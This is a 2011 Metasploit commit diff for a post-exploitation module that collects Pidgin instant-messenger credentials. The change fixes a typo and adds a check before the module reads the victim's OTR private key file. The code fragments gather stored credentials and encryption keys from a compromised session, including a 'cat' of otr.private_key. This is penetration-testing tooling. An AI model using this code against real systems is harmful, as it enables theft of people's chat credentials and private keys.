Fix Typo and handling of OTR key file if not present.

git-svn-id: file:///home/svn/framework3/trunk@13391 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2011-07-28 22:38:51 +00:00
parent 9f8cbc4145
commit bdd76a6182
1 changed files with 13 additions and 5 deletions

View File

@ -21,7 +21,9 @@ class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Pidgin Instant Messenger Credential Collection',
'Description' => %q{ This module will collect credentials from the Pidgin IM client if it is installed. },
'Description' => %q{
This module will collect credentials from the Pidgin IM client if it is installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
@ -151,7 +153,7 @@ class Metasploit3 < Msf::Post
end
def get_pidgin_creds(paths)
case path
case paths
when /#{@user}\\(.*)\\/
sys_user = $1
when /home\/(.*)\//
@ -229,9 +231,15 @@ class Metasploit3 < Msf::Post
if session.type == "shell"
otr_key = session.shell_command("cat #{path}/otr.private_key")
else
f = session.fs.file.new("#{path}/otr.private_key", "rb")
until f.eof?
otr_key << f.read
key_file = "#{path}/otr.private_key"
otrkey = session.fs.file.stat(key_file) rescue nil
if otrkey
f = session.fs.file.new(key_file, "rb")
until f.eof?
otr_key << f.read
end
else
otr_key = "No such file"
end
end